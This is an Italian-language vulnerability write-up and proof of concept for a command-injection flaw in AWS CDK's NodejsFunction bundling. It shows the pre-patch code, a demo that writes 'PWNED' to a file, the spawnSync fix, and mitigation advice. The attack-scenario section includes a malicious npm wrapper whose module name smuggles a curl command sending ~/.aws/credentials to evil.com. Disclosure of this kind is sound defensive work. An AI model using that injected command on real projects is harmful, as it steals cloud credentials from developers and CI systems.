Analisi tecnica e prova di concetto (PoC) per CVE-2026-11417: iniezione di comandi di sistema / esecuzione di codice remoto (RCE) in NodejsFunction di AWS CDK.
Autore: Hesham Ashraf (@HeshamASH)
Data: 10 giugno 2026
Gravità: Alta (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — Neutralizzazione impropria di elementi speciali usati in un comando del sistema operativo (OS Command Injection)
Pacchetto interessato: aws-cdk-lib (npm), tutte le versioni precedenti alla 2.245.0
Fornitore: Amazon Web Services (AWS)
Stato: Corretto (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Bollettino: AWS-2026-041 | Avviso: GHSA-999r-qq7v-r334
Ho scoperto una vulnerabilità di iniezione di comandi nell'AWS Cloud Development Kit (CDK) che consentiva a un attaccante di ottenere — incluse workstation degli sviluppatori e pipeline CI/CD — pubblicando un pacchetto npm dannoso o inviando una Pull Request appositamente creata.
cdk synthLa vulnerabilità esisteva perché il costrutto NodejsFunction di aws-cdk-lib interpolava stringhe controllate dall'utente direttamente in un comando shell senza sanitizzazione, eseguendolo poi tramite bash -c / cmd /c. AWS ha corretto il problema sostituendo l'esecuzione tramite shell con array di argomenti diretti di spawnSync.
L'AWS Cloud Development Kit (CDK) è un framework open-source ampiamente utilizzato per definire infrastrutture cloud come codice. È usato da decine di migliaia di sviluppatori e pipeline CI/CD per sintetizzare e distribuire stack AWS CloudFormation.
Il costrutto NodejsFunction è uno dei costrutti L2 del CDK più popolari. Esegue il bundling delle funzioni Lambda TypeScript/JavaScript utilizzando esbuild durante la fase di sintesi (cdk synth).
Il percorso di bundling locale del costrutto NodejsFunction costruiva una stringa di comando shell interpolando direttamente diverse proprietà controllate dall'utente senza alcuna sanitizzazione:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // NO ESCAPING
];
L'array veniva quindi unito in un'unica stringa e passato a una shell:
// The joined command is passed directly to the OS shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
I metacaratteri di shell come &, ;, |, `, e $(...) all'interno di una qualsiasi delle proprietà iniettabili sarebbero stati interpretati dalla shell come separatori di comandi, consentendo l'esecuzione arbitraria di comandi.
| Proprietà | Sanitizzazione | Livello di rischio |
|---|---|---|
externalModules | Nessuna | Critico |
define (chiavi) | Nessuna (i valori usano JSON.stringify) | Critico |
loader (chiavi) | Nessuna | Critico |
inject | Nessuna | Critico |
esbuildArgs (chiavi/valori) | Nessuna | Critico |
Questa vulnerabilità è particolarmente pericolosa perché l'iniezione avviene nel livello di sintesi del CDK, non durante npm install. Ciò significa che le misure di sicurezza npm standard come --ignore-scripts non offrono alcuna protezione.
Un attaccante pubblica un pacchetto npm dall'aspetto legittimo che incapsula NodejsFunction:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Hidden payload among legitimate-looking externals
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Quando uno sviluppatore installa questo pacchetto ed esegue cdk synth, il CDK costruisce:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
Il carattere & divide questo comando in due comandi shell indipendenti:
npx esbuild --bundle handler.ts --external:lodash — esbuild viene eseguito normalmentecurl https://evil.com/... — il payload dell'attaccante esfiltra le credenziali AWS| Difesa | Efficace? | Perché |
|---|---|---|
npm install --ignore-scripts | No | L'iniezione avviene durante cdk synth, non durante l'installazione del pacchetto |
Code review di package.json | No | Il payload è nel codice del costrutto TypeScript, non negli script |
| npm audit | No | Il pacchetto non contiene vulnerabilità note |
| Integrità del lockfile | No | Il pacchetto stesso viene installato correttamente |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts con il payload di iniezioneimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
Il file pwned.txt viene creato, confermando l'esecuzione arbitraria di comandi sull'host.
spawnSync basato su arrayLa correzione principale sostituisce la costruzione della stringa di comando shell con un spawnSync diretto che utilizza array di argomenti:
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });
Ciò elimina completamente l'interpretazione dei metacaratteri di shell. Il nuovo sistema di tipi BundlingStep separa chiaramente:
spawn: esbuild/tsc/install — eseguiti tramite spawnSync diretto con array di argomentishell: commandHooks forniti dall'utente — eseguiti deliberatamente tramite shell (l'utente li controlla per contratto)fs: operazioni sui file — nessun coinvolgimento della shellSu Windows con Node 22+, il spawnSync diretto degli shim .cmd fallisce con EINVAL. Questa PR instrada i passaggi di spawn tramite powershell.exe con powershellEscape() — una funzione che racchiude ogni argomento tra virgolette singole utilizzando l'escaping nativo di PowerShell (raddoppiando le virgolette singole interne), quindi antepone l'operatore di chiamata &.
L'esecuzione tramite shell è un code smell. Qualsiasi percorso di codice che costruisce una stringa e la passa a bash -c o cmd /c è una potenziale vulnerabilità di iniezione di comandi. Preferisci sempre spawnSync basato su array o execFile.
Gli attacchi alla catena di fornitura aggirano le difese in fase di installazione. npm audit e --ignore-scripts proteggono dagli script postinstall dannosi, ma non possono proteggere dalle vulnerabilità negli strumenti che elaborano le dipendenze in fase di build.
I costrutti CDK sono codice attendibile. Quando uno sviluppatore importa un costrutto CDK di terze parti, si fida implicitamente del fatto che configuri correttamente la propria infrastruttura. Un costrutto dannoso può sfruttare questa fiducia per iniettare payload nelle proprietà di bundling che sembrano una normale configurazione.
Aggiorna immediatamente a aws-cdk-lib versione 2.245.0 o successiva
Esegui un audit dei costrutti CDK di terze parti per individuare valori insoliti nelle proprietà bundling
Blocca le versioni dei costrutti CDK nel tuo package-lock.json
Esamina le PR che modificano la configurazione bundling con particolare attenzione
Riproduci la vulnerabilità utilizzando i file forniti nella cartella poc/.
Scoperta e segnalata da Hesham Ashraf (@HeshamASH). Divulgazione coordinata condotta tramite il programma AWS VDP.